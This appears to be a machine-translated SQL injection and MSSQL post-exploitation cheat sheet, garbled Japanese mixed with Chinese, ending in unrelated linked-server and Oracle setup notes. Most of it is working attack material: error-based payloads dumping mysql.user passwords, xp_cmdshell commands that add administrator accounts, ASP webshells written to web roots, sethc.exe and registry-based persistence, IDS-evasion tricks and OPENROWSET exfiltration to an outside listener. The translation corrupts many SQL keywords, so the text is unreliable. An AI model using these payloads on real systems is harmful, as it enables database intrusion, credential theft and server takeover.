パブリック) テーブルに書きましょう: 文1: および1=(選択IS_blank>_SRVROLEMEMBER(システム管理者)); – 文2: および1=(選択IS_blank>_SRVROLEMEMBER(serveradmin)); – 文3: および1=(選択IS_blank>_SRVROLEMEMBER(setupadmin)); – 文4:および1=(選択IS_blank>_SRVROLEMEMBER(securityadmin)); – 文5:および1=(選択IS_blank>_SRVROLEMEMBER(securityadmin)); – 文6: および1=(選択 IS_blank>_SRVROLEMEMBER(diskadmin)); – 文7:および1=(選択IS_blank>_SRVROLEMEMBER(bulkadmin)); – 文8:および1=(選択IS_blank>_SRVROLEMEMBER(bulkadmin)); – 文9:および1=(選択IS_blank>_MEMBER(db_blank>_owner)); –
テーブルへのパスを書きます: ; create table dirs(paths varchar(100), id int)– ; 取締役 master.dbo.xp_blank>_dirtree c:\– および0<>(ダイルからトップ1のパスを選択する)– および0<>(dirsから(@Inetpub)に含まれないパスのトップ1パスを選択する– ; create table dirs1(paths varchar(100), id int)– ; e:\web– master.dbo.xp_blank>_dirtree 取締役を挿入してください– および0<>(dirs1からトップ1パスを選択する)–
データベース_blank>ウェブディレクトリにバックアップする: ダウンロード ; @aシステムネームを宣言します。 set @a=db_blank>_name(); バックアップデータベース@aからディスク=e:\web\down.bak; –
および1=(上位1個の名前を選択する(上位12個id,sysobjectsから名前を選択し、xtype=char(85))T)
ID descによる注文 および1=(システムオブジェクトからトップ1を選択する col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1))関連項目
関連する表。 そして1=(USER_blank>_LOGINからuser_blank>_idを選択) および0=(ユーザーをUSER_blank>_LOGINから選択 >ユーザー
-=- wscrip{filter}t.shell 例 -=- @o intを宣言する exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o、run、NULL、notepad.exe ; Declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL、notepad.exe–
@o int、@f int、@t int、@ret int を宣言する ヴァルハル(8000)@line宣言せよ exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o、opentextfile、@f out、c:\boot.ini、1 exec @ret = sp_blank>_oamethod @f、readline、@line out while( @ret = 0) 開始 印刷@line exec @ret = sp_blank>_oamethod @f、readline、@line out 終わり
@o int、@f int、@t int、@ret int を宣言する exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o、createtextfile、@f out、c:\inetpub\wwwroot\foo.asp、1 exec @ret = sp_blank>_oamethod @f、writeline、NULL、 <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd")) %>
@o int、@ret int を宣言する exec sp_blank>_oacreate speech.voicetext、@o アウト exec sp_blank>_oamethod @o, register, NULL, foo, bar エグゼクティブsp_blank>_oasetproperty @o、スピード、150 エグゼクティブsp_blank>_oamethod @o、スピーク、NULL、あなたのすべての続編サーバーは私たち528のものです 遅延待ち 00:00:05
; @o int、@ret int exec sp_blank>_oacreate speech.voicetext、@o out exec
sp_blank>_oamethod @o、レジスタ、NULL、フー、バーエグゼクティブsp_blank>_oasetproperty @o、スピード、150エグゼクティブ
sp_blank>_oamethod @o、話せ、NULL、君たちの続編サーバーはすべて我々のものだ、528 遅延待機
00:00:05–
xp_blank>_dirtree該当するパブリック許可 exec master.dbo.xp_blank>_dirtree c: 返される情報にはサブディレクトリ、深さの2つのフィールドがあります。 サブディレクトリフィールド
キャラクタータイプの場合、深度フィールドはシェイピングフィールドです。 Create table dirs(paths varchar(100), id int) テーブル構築では、ここで作成されるテーブルは上記のxp_blank>_dirtreeに関連しており、フィールドが等しく型も同じです。 master.dbo.xp_blank>_dirtree c: テーブルを作成し、ストレージプロセスから返されるフィールドを均等に定義すればいい
実行しろ! 表を書く効果を得るためには、私たちが求める情報を一歩一歩手に入れましょう! このエラー注入は主にMySQLのデータ型オーバーフローに基づいています mysql > SELECT 18446744073709551610 * 2 ; エラー1690(22003年):BIGINTの無符号値が「(18446744073709551610 * 2)」の範囲外です。
mysql > SELECT - 1 * 9223372036854775808 ; エラー1690(22003):BIGINTの無署名値が'(-(1) *の範囲外です
9223372036854775808)' クエリデータベースバージョン: mysql> SELECT * 2 (((SELECT * from (SELECT (バージョン)) s), 18446744073709551610,
18446744073709551610)); エラー1690(22003年):BIGINTの無符号値が'(2 * if (( ' 5.5 ' from を選択) の範囲外です
双重)、18446744073709551610.18446744073709551610))' フィールド名を入手: mysql> SELECT 2 * if(((SELECT * from (select * from test.shop) as '' limit 1)>(SELECT * from
test.shop 上限1)、18446744073709551610、18446744073709551610);
エラー1690(22003年):BIGINTの無署名値が'(2 * if(((選択)の範囲外です
「記事」「販売店」「価格」から(「テスト」を選択。「ショップ」。記事 AS
「記事」「テスト」「ショップ」「ディーラー」 AS「ディーラー」「テスト」「ショップ」「価格」 AS「価格」から
「テスト」。「ショップ」) 制限 1) > (選択
「テスト」.「ショップ」「記事」「テスト」「ショップ」「ディーラー」「テスト」「ショップ」「価格」 「テスト」.「ショップ」 リミットより
1)),18446744073709551610,18446744073709551610))' フィールド値を取得する:
mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
エラー1690(22003年):BIGINTの無署名値が'(2 * if(((選択)の範囲外です
「ローカルホスト」「ルート」「*」「Y」「Y」「Y」「Y」「Y」「Y」「Y」
双重制限1から、Y','Y','Y','Y','Y','Y','0','0'0','0',DUAL LIMIT 1)から
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
この方法は古いバージョンのMysqlでは機能せず、エラーメッセージの長さの制限を知る必要があります。これにより判断が決まります
好きなだけ長くできます: mysys / my_error.c
/* エラーメッセージの最大長さ。 常に連携MYSQL_ERRMSG_SIZE。 */ #define エラーズサイズ(512)
もしオブジェクトがMariaDB(Mysqlのフォーク)であれば、上記の方法を試すと次のようなエラーメッセージが表示されるかもしれません:
mysql> SELECT 2*(if((SELECT * from (SELECT (version())s), 18446744073709551610,
18446744073709551610)) エラー1690(22003年):BIGINTの無符号値が'(2 * if((select)の範囲外です
#),18446744073709551610,18446744073709551610))'
この問題の解決策として、次のように解けます。
MYSQL> SELECT(IはNULLではない) - -9223372036854775808 (SELECT (VERSION()I)A); エラー1690(22003年):BIGINTの値が'(('5.5-MariaDB' not null)の範囲外です - -
(9223372036854775808))' では、ベクターを少し短くできるか見てみましょう
//查询数据库版本
SELECT 2*(if((SELECT * from (SELECT (version())s)s), 18446744073709551610,
18446744073709551610)) = select 1E308*if((select*from(select version())x),2,2)
SELECT (I は NULL ではない) - -9223372036854775808 (SELECT (VERSION()I)A = Choose if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称 SELECT 2 * もし((SELECT * from (select * from (select * from test.shop) as '' limit 1)>(SELECT * from
test.shop 上限1)、18446744073709551610、18446744073709551610) = select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * if(((SELECT * from (select * from (mysql.user) LIMIT 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user limit 0),2,2)
//获取指定字段的值 select 1E308*if((Select user||ホスト||パスワード||file_priv from(select*from mysql.user LIMIT
1) 限界 1) 2,2)
//获取字段个数
select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)
その他の変形
SELECT (I は NULL ではない) - -9223372036854775808 (SELECT (VERSION()I)A select 1E308*if((Select user||ホスト||パスワード||file_priv from(select*from mysql.user LIMIT
1) 限界 1)、2、2); => 選択 2*if((ユーザー|ホスト|パスワード|file_priv from(選択*mysql.user LIMIT 1)A limit
1),1e308,0); mySQL> SELECT(*をMySQL.userから選択)=1; mySQL> SELECT (* from mysql.user)in(1);
エラー1241(21000):オペランドは42列を含むべきです 選択 2*if((ユーザー|ホスト|パスワード|file_priv from(選択*mysql.user LIMIT 1)A limit
1),1e308,0); Choose IF((Select user||ホスト||パスワード||file_priv from(select*from mysql.user LIMIT 1)a
限界 1)、2、2)*1E308 SELECT (I は NULL ではない) - -9223372036854775808 (SELECT (VERSION()I)A SELECT (x!=0x00)--9223372036854775808 from(SELECT version()x)y mySQL> SELECT!x-~0.FROM(select+user()x)f; エラー1690(22003年):BIGINTの符号なし値が'((not('root@localhost'))-~の範囲外です
(0))' 3. データベースシステムの評価 ; および(sysObjectsからcount(*)を選択する)>0 MSSQL ; および(msysObjectsからcount(*)を選択し)>0アクセス 4. 注入パラメータはキャラクターです ' [クエリ基準] と ''='' 5. 探索中にフィルタリングされたパラメータが存在しない ' [クエリ基準] および '%25'=' 6. データベースを当てる ; および([データベース名]からCount(*)を選択し>0 7. フィールドを当てる ; および(データベース名からCount(field name)を選択し>0 8. 現場での記録の長さを推測する ; および(データベース名から上位1 len(フィールド名)を選択し>0 9. (1) フィールドのASCII値を推測する(アクセス) ; および(データベース名から上位1ASC(mid(field name, 1,1))を選択し>0 (2) フィールド(mssql)のASCII値を推測する ; および(データベース名から上位1つのUnicode(substring(field name, 1,1))を選択します)>0 10. テスト権限構造(mssql) ; 1=(選択IS_SRVROLEMEMBER(「sysadmin」)); -- ; 1=(選択IS_SRVROLEMEMBER('serveradmin')); -- ; 1=(選択IS_SRVROLEMEMBER('setupadmin'))); -- ; 1=(選択IS_SRVROLEMEMBER('securityadmin'))); -- ; 1=(選択IS_SRVROLEMEMBER(「ディスク管理者」)); -- ; 1=(選択IS_SRVROLEMEMBER(「bulkadmin」)); -- ; 1=(選択IS_MEMBER('db_owner'))); -- 11. mssqlとシステム用のアカウントを追加してください ; エグゼクティブmaster.dbo.sp_addloginユーザー名; -- ; exec master.dbo.sp_password null、username、password; -- ; exec master.dbo.sp_addsrvrolemember sysadmin ユーザー名; -- ; exec master.dbo.xp_cmdshell 'net ユーザー名パスワード /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; exec master.dbo.xp_cmdshell 「net user username password /add」; -- ; exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; -- 12. (1) カタログを横断する ; Create table dirs(paths varchar(100), id int) ; 取締役 エグゼクティブ master.dbo.xp_dirtree 'c:\' を挿入 ; および(ダイルスからトップ1のパスを選択してください)>0 ; および(dirsから(前ステップで取得した経路に含まれていない経路)から上位1つの経路を選択する)>) (2) カタログを横断する ; テーブルtemp(id nvarchar(255)、num1 nvarchar(255)、num2 nvarchar(255)、num3 nvarchar(255)); -- ; 臨時幹部master.dbo.xp_availablemediaを挿入; -- 全ての電流ドライブを入手 ; temp(id) exec master.dbo.xp_subdirs 'c:\' を挿入します; -- サブディレクトリのリストを取得する ; temp(id,num1) exec master.dbo.xp_dirtree 'c:\' を挿入します。 -- すべてのサブディレクトリのディレクトリツリー構造を取得する ; temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp' を挿入します。 -- ファイルの内容を見る 13. mssqlにおけるストアドプロシージャ xp_regenumvalues レジストリのルートキー、子キー ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE'、'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' など
すべてのキー値を返すためのRecordsetメソッド xp_regread ルートキー、子キー、キー値名 ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','CommonFilesDir'は定式化キーの値を返します xp_regwrite ルートキー、子キー、値名、値型、値 値タイプには文字タイプと整数の2種類があり、REG_SZ REG_DWORD ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion'、'TestvalueName'、'reg_sz'、'hello' はレジストリに書き込まれます xp_regdeletevalue ルートキー、サブキー、値名 exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName' で値を削除する xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 削除キー、
そのキーの下にすべての値を含めてください 14. MSSQLバックアップがウェブシェルを作成します モデルを活用してください create table cmd(str image); cmd(str)の数値に挿入します('<% Dim oscrip{filter}t %>'); バックアップデータベースモデルをdiskに変換='c:\l.asp'; 15. MSSQLの組み込み関数 ; (@@version)>0を選択してWindowsのバージョン番号を取得します ; user_name()='dbo'で、現在のシステムの接続ユーザーがSAかどうかを判別します ; (選択user_name())>0 現在のシステムに接続されたユーザーを爆発させました ; および(db_name())>0を選択して現在接続されたデータベースを取得します 16. 簡潔なウェブシェル モデルを活用してください create table cmd(str image); Insert into cmd(str) values ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c").stdout.readall%>'); バックアップデータベースモデルをdisk='g:\wwwtest\l.asp'; リクエストする際は、次のような言葉を使ってください:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ システムデータベースを含むすべてのデータベース名を取得してください –master.dbo.sysdatabases から名前を選択
– システム以外のデータベース名をすべて取得します –master.dbo.sysdatabases から[name]を選択してください。DBId>6 [Name] で順番を
– データベースのファイルアドレスを含むすべての情報を取得してください –master dbo.sysdatabases から * DBId>6 Order By を選べます
[名前]
この文クエリはすべてのユーザーテーブルを返します
xtype='u' の sysobjects から * を選択します
システム内のすべてのデータテーブル情報を照会します
Select * from sysobjects
機械名を見てください Select * from sys.servers
列目次 エグゼクティブmaster.dbo.xp_subdirs 'C:\'
エグゼクティブmaster.dbo.xp_dirtree 'C:',1,1 db_owner 許可は強制可能です
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
ウェブシェルに書かれたプログラムコード
エグゼクティブmaster.dbo.xp_subdirs 'd:\web\www.xx.com'; エグゼクティブsp_makewebtask 'd:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB")%>"
実行しろ、師匠... xp_enumgroups
トラバースシステムの利用者
実行しろ、師匠... xp_getnetname 現在のマシン名を入手してください
--サーバー上の固定ドライブと各ドライブの利用可能な容量をリストアップしてください DBOパブリック
実行
xp_ntsec_enumdomains
-- MSSQLにログインするためのアカウントを作成してください エグゼクティブmaster.dbo.sp_addlogin名前はパス; --
-- サーバードメイン名をリストに出します xp_ntsec_enumdomains // マシン名 //dbo public
-- サービスの開始または停止 xp_servicecontrol 「stop」、 「schedule」 //schedule はサービス名 //dbo です
--PIDを使おう
実行中のプログラムを停止する xp_terminate_process 123 //123 は PID //dbo です
-- ディレクトリ内のサブディレクトリのみがリストされます dbo.xp_subdirs 'C:' //dbo
SQL Server 2005年の開業方法xp_cmdshell EXEC sp_configure「高度なオプションを表示」、1; 再構成; 執行部
sp_configure 『xp_cmdshell』、1; 再構成;
SQL2005 オープン「OPENROWSET」 対応方法: exec sp_configure「詳細オプションを表示」、1; 再構成; アドホックsp_configureエグゼクティブ
分散クエリ1件; 再構成;
「sp_oacreate」サポートを有効にするSQL2005: exec sp_configure「詳細オプションを表示」、1; 再構成; エグゼクティブ
sp_configure『オレ自動化手順』1; 再構成
SQL Server 2008でxp_cmdshellを有効にする方法
――高度なオプションを変更できるようにするためです。 執行部
sp_configure「詳細オプションを表示」、1 行け -- 現在設定されている値を更新するために
高度なオプション。 再構成 行け ―― 機能を有効にするために。 執行sp_configure『xp_cmdshell』、1 行け --宛先
この機能の現在設定された値を更新してください。 再構成 行け
exec xp_cmdshell 'ipconfig'
今日はデータベースサーバーのSAログインパスワードを変更したかったのですが、突然忘れてしまい、他のアカウントの助けを借りてクエリアナライザーを開き、SAパスワードを変更しなければなりませんでした
とてもシンプルです:
実行: sp_password Null、'teracypwd、'sa' SAパスワードを「teracypwd」に設定してください。
処刑が成功した後
「コマンドが成功裏に完了」という項目があります。 わかりました!
データベース権限では、MSSQLデータベースサーバーのIPを取得する方法を別々に区別します
1. ローカルNCはNC -VVLP 80を聴く
2.; 挿入
OPENROWSET('SQLOLEDB','uid=sa; PWD=xxx; ネットワーク=DBMSSOCN; アドレス=あなたのIPアドレス、80; 『』、『選択 *
dest_table')src_tableから*を選択し、 --
OpenRowSetから*
('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','select user; ')
データベースのインポートおよびエクスポート
/*不同服务器数据库之间的数据操作*/
--リンクサーバーを作成 エグゼクティブsp_addlinkedserver
「ITSV」「SQLOLEDB」「リモートサーバー名またはIPアドレス」 執行sp_addlinkedsrvlogin「ITSV」、「false」
',null, 'username', 'password'
--クエリの例 * を ITSV.database 名.dbo.table name から選択
--インポート例 セレクト *
ITSV.databasename.dbo.tablename からテーブルに取り替わりました
--将来的に使用されなくなったリンクサーバーを削除してください 『ITSV』sp_dropserver執行部、
「ドロップログン」
-- リモート/LANデータへの接続(openrowset/openquery/opendatasource) --1、openrowset
--クエリの例 セレクト *
OpenRowSet('SQLOLEDB ', 'SQL Server Name '; 「ユーザー名」; 'password', database name.dbo.table name)
-- ローカルテーブルを生成する OpenRowSet(「SQLOLEDB ', 'SQL Server Name '; 「ユーザー名」; 「パスワード」、番号
データベース名.dbo.テーブル名によると)
-- ローカルテーブルをリモートテーブルにインポートします insert openrowset( 'SQLOLEDB', 'sql server name'; 「ユーザー名」; 「パスワード」、データベース
name.dbo.table name) ローカルテーブルから選択
-- ローカルテーブルの更新 アップデートB 集合 b. 列 A = a OpenRowSet('SQLOLEDB ', 'SQL Server Name '; 「ユーザー名」; '
パスワード '、データベース名 .dbo.table name)を内部のローカルテーブルbとして結合します a.column1=b.column1
--openquery 使用には接続の作成が必要です
--まず、リンクサーバーを作成するための接続を作成します 執行sp_addlinkedserver『ITSV』、『『』、
「SQLOLEDB'、「リモートサーバー名またはIPアドレス」 --問い合わせ セレクト * FROM openquery(ITSV, 'select * from data
library.dbo.table name ') -- ローカルテーブルをリモートテーブルにインポートします insert openquery(ITSV, 'SELECT * FROM database.dbo.table name') ローカルから * 選択
表 --ローカルテーブルを更新 アップデートB 集合 b. 列 B=a FROM openquery(ITSV, 'select * from database.dbo.tablename')
内結合局所テーブルbはaの列A=b。A列
--3、opendatasource/openrowset 選択* 差出人
opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; ユーザーID=ログイン名; パスワード=パスワード '
).test.dbo.roy_ta -- ローカルテーブルをリモートテーブルにインポートします
削除とxp_cmdshellの復元
xp_cmdshell回復の方法 拡張ストアドプロシージャを削除xp_cmdshell
命題 エグゼクティブsp_dropextendedproc「xp_cmdshell」
cmdshellのSQL文を復元してください exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
エグゼクティブ
master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll'; カウント(*)を選択
master.dbo.sysobjects で、xtype='x' および 返品結果は1で、問題ありません
そうでなければ、c:\inetput\webをアップロードする必要があります
\xplog70.dll 後で エグゼクティブmaster.dbo.sp_addextendedproc『xp_cmdshell』、『c:\inetput\web\xplog70.dll
’; --
以下のように削除すると 手技を落とすsp_addextendedproc ドロップ手順sp_oacreate エグゼクティブ
sp_dropextendedproc 『xp_cmdshell』
次の文で復旧できます DBCC Adextendedproc(「sp_oacreate」、「odsole70.dll」) DBCC
addextendedproc("xp_cmdshell"、"xplog70.dll")
このようにして、sp_addextendedprocが存在するかどうかに関わらず、直接修復することができます
1、 xp_cmdshellの使い方: exec master.dbo.xp_cmdshell「net user admin admin /add」 エグゼクティブ
master.dbo.xp_cmdshell 「net localgroup administrators admin /add」
xp_cmdshellの場合、sp_oacreateを使って以下のsp_oamethodをください: @object intを宣言してください エグゼクティブ
sp_oacreate 'wscrip{filter}t.Shell', @object アウト エグゼクティブsp_oamethod
@object,'Run',NULL,'net user admin admin /add' exec sp_oamethod @object、『Run』、NULL、『net』
localgroup 管理者 admin /add'
注:regsvr32 /s c:\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 sp_oacreateとFSOを使いましょう @o intを宣言する エグゼクティブsp_oacreate
'scrip{filter}ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile', null, 'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; @oo intを宣言する エグゼクティブ
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out エグゼクティブsp_oamethod @oo
'copyfile', null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
xp_regwriteを使え(db_owner、再起動が必要): 執行master.dbo.xp_regwrite
『hkey_local_machine』、『ソフトウェア\Microsoft\Windows\CurrentVersion\』
run','eadd1','reg_sz','net user admin admin /add' 執行master.dbo.xp_regwrite
『hkey_local_machine』、『ソフトウェア\Microsoft\Windows\CurrentVersion\』
run','eadd2','reg_sz','net localgroup administrators admin /add' 5. sp_add_jobの活用: エグゼクティブ
master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT' MSDBのエグゼクティブsp_delete_job
null、'x' エグゼクティブsp_add_job「X」 エグゼクティブsp_add_jobstep
Null,'x',Null,'1','CMDEXEC','cmd /c net user admin admin /add' エグゼクティブsp_add_jobserver
Null、'x'、@@servername エグゼクティブ sp_start_job 'x'
多くのSAはサンドボックスモードを直接使って多くのマシンで成功していますが、私は実際に練習したことがなく、成功率がどのくらいかもわかりません。 延長が取り除かれたとき、まず
読み書きストレージをレジストリに復元します。 DBCC Adextendedproc(「xp_regread」、「xpstar.dll」) DBCC AdextendedProc
(「xp_regwrite」、「xpstar.dll」)
サンドボックスの保護モードを修正しました エグゼクティブマスター... xp_regwrite 『HKEY_LOCAL_MACHINE』、『ソフトウェア\Microsoft\Jet』
\4.0\Engines','SandBoxMode','REG_DWORD',0; --
「SandBoxMode」の値が0になっているか確認してください。
エグゼクティブmaster.dbo.xp_regread『HKEY_LOCAL_MACHINE』、『ソフトウェア』
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
最後に、サンドボックスモードを呼び出します Select * from OpenRowSet('Microsoft.Jet.oledb.4.0','; database=C:\WINDOWS
\system32\ias\dnary.mdb','select shell("cmd.exe /c net user passWD /add")')
サンドボックス保護モードが「オフ」でない場合、エラーが報告されます: サーバー:Msg 7357、レベル16、州2、ライン1
オブジェクト「select shell(cmd.exe /c net user passwd /add)」を処理できませんでした。 OLE DBはプログラムを提供しています
序文「microsoft.jet.oledb.4.0」は、オブジェクトに列がないことを示しています。
OLE DBエラートラッキング[非インターフェースエラー:OLE DBプロバイダーがオブジェクトを処理できない、なぜならオブジェクトが
has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
user passwd /add)'))。
2、 .mdbが存在しない場合や入力経路が誤っている場合 サーバー:Msg 7399、レベル16、State 1、ライン1
OLE DB provider 'microsoft.jet.oledb.4.0' error. [OLE/DBプロバイダーからメッセージが返送されました:
ファイル『C:\WINDOWS\system32\ias\dnary1.mdb』が見つかりません。 ]
OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize return
0x80004005: ]。
3. 入力プロセス中にスペースが増えた場合、エラーも報告されます。 特に注意してください。多くの人が直接オンラインで記事を探しています
それを貼り付けて実行してください。 サーバー:Msg 7357、レベル16、州2、ライン1 オブジェクト 'selectの処理に失敗
shell("cmd.exe /c net user passwd /add")'。 OLE DBプロバイダーの「microsoft.jet.oledb.4.0」では、オブジェクトに列がないと記載されています。
OLE DBエラー追跡[非インターフェースエラー: OLE DBプロバイダーはオブジェクトを処理できません。なぜなら、オブジェクトは
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user
passwd /add")')。
4、 もしmdbの権限とcmd.exe権限が間違っていると、同じ問題が発生します。 MDBの権限が誤っている場合、 サーバー:エリクリート
興味7320、レベル16、州2、ライン1
彼は答えることができなかった OLE DBプロバイダー「Microsoft.Jet.OLEDB.4.0」がクエリを実行します。 [OLE/DBプロバイダーが戻った
message: 未知] OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'
ICommandText::Execute returned 0x80040e14]。
5. ネット許可が誤りの場合、プロンプトがありません。
権威を高める最後の方法は、システムのias.mdbとcmd.exeを現在のウェブディレクトリの下にアップロードすることです。net.exe 3つのファイルです。
Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell
(「E:\web\cmd.exe /c E:\web\net.exe user passwd /add」)) コンピュータユーザーを正常に追加しました。
コマンドシェルの分割はIDSをバイパスします Declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig' 宣言
@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'
編集:レジストリハイジャックシフト エグゼクティブマスター... xp_regwrite 『HKEY_LOCAL_MACHINE』、『ソフトウェア\Microsoft\Windows NT』
\CurrentVersion\Image File Execute Options\sethc.exe','debugger','REG_sz','c:\windows
\system32\cmd.exe on'; --
リンクサーバーに問い合わせる 選ぶ
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess(master.dbo.sysservers からのアクセス) 選ぶ
srvid,srvstatus,srvname,srvproduct,providername,datasource,locatio{filter}n,schemadate,catalog,srvnetnam
e,isremote,rpc,dataaccess(master.dbo.sysservers からのアクセス)
クエリ linkserver2 select distinct hostname,db_name(dbid),net_address,loginame,program_name から
師匠... シスプロセス
リンクサーバーに問い合わせる その他のログインユーザー Select * from [192.168.1.1].master.dbo.syslogins
クエリリンクサーバー すべてのデータベース linkedSrvWeb.master.dbo.sysdatabases から * を選択
LinkServer上で拡張ストレージを実行する エグゼクティブ[IP].master.dbo.xp_cmdshell
リンクサーバー上のすべてのテーブルをクエリしてください [ip].master.dbo.sysobjects から * を選択
OpenRowSetから*
('sqloledb','server=IP; uid=ユーザー; pwd=password','select @@version')
OpenQuery([LINKSERVER)から*
名前]、『セレクト @@version』)
select * from openquery(NDOORS,'select IS_SRVROLEMEMBER(''sysadmin'')'')
select * from openquery(GM_SERVER,'select * from sysobjects where where xtype = (''U'')'')
選択 *
openquery(NDOORS,'Select IS_MEMBER(''db_owner''')
Select * from openquery(toatdeweb,'select
master.dbo.sysservers'からのSRVNAME)
OpenDataSourceに挿入
('sqloledb','server=222.241.95.12; uid=scd; PWD=A123520; database=hack520').hack520.dbo.zhu 選択
master.dbo.sysdatabasesより名前 Create database hack520 Create TABLE zhu(name nvarchar(256)
null); TABLE J8(id int NULL,name nvarchar(256) null)を作成);
OpenQueryから*
(toatdeweb、『Exec master.dbo.xp_cmdshell Exec off fmtonly』)
エグゼクティブマスター... xp_dirtree
'c:\',1,1 クエリディレクトリを実行してください
エグゼクリンクス.マスター... xp_cmdshell 'ipconfig'
Select * from openquery(toatdeweb,'Set
fmtonly off exec master.dbo.xp_cmdshell ''ipconfig /all''')
Connect mysql Select * from Mem_DB。 UserDB.dbo.AdminList
エグゼクティブマスター... XP_dirtree 'c:\',1,1
エグゼクティブ
master.dbo.xp_cmdshell 『ディル』
[表示]からcount(*)を選択します 現在のテーブルにどれだけのデータがあるかを照会します
異なるホスト名を選択してください。db_name(dbid),net_address,loginame program_name
師匠から... シスプロセス
GameDB01から*を選択します。 Server01.dbo.cabal_character_table ここで name='
ピッグ
削除すると「データベースは使用中で削除できません」と表示されます。
削除したいデータベースをクリックするとイベントビューアが開きます。
入力:
用途
師匠 行け 次に次の項目を入力してください。 ヴァルハル(8000)@d宣言せよ セット @d= ' ' 選択 @d=@d+ ' kill
'+cast(spidがvarcharとして)+char(13) 師匠から... sysprocesses(dbid=db_id(「ライブラリ名」)で エグゼクティブ(@d) -- まずこのデータベースに接続するプロセスを削除するコードを使ってください
MSSQLはLinkServerを通じてOracleを運用します
1) SQL_SERVER 2005サーバーにOracleをインストールする
9iクライアント。 C:\ora92i\ディレクトリにインストールすると仮定します。 D: がNTFSパーティションの場合、ORACLEにインストールされたディレクトリをそのディレクトリとして設定する必要があります
購読者は実行、追加、削除の権利があります。
2) C:\ora92i\network\ADMIN\tnsnames.oraファイルを設定してください。 (以下の赤い文字は構成の例です)
ORCL=
(DEscrip{filter}tION=.)
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.0.11)(PORT= 1521))
)
(CONNECT_DATA =
(SERVICE_NAME = オーク)
)
)
3) DOSモードで以下のコマンドを実行し、ORACLEクライアントが正しくインストールされていることを確認します。
SQLplusユーザー/password@ORCL
4) Start - Control Panel - Servicesを開き、分散トランザクションコーディネーターサービスが開始されたことを確認します。
5) SQL SERVER Management Studio、インスタンス名(ORCL)- サーバーオブジェクト(右クリック) - 新しい接続サーバー。
1.
リンクサーバー:OracleTestのようにリンクされたサーバー名を書きます
2. サーバータイプ、別のデータソースを選択する
3. アクセスインターフェース: Oracle Provider for OLE DBを選択してください
4. 製品名:Write Oracle
5. データソース:レポートアップ
tnsnames.oraファイルで設定されたサービス名(例:ORCL)は
6. アクセスインターフェース文字列:userid=sysdba; password=password
7. 「セキュリティオプション選択」ページで、このインストールコンテキストを使って接続を確立します:
a) リモートログイン:ユーザー(他のユーザー、システムシステムではない)
b)
パスワードを使えば、パスワード
8. ローカルログインで「NT AUTHORITY\SYSTEM」を設定し、リモートユーザーシステムでパスワードを設定します。
9.
確かですか
6) SQLを書く方法は2つあります
a) T-SQL構文の使用:
選択 *
OraTest.ERP.BAS_ITEM_CLASS
SQLクエリアナライザーでSQL文を入力する際は、中国語の全幅と半幅の切り替えに注意してください
本当に!
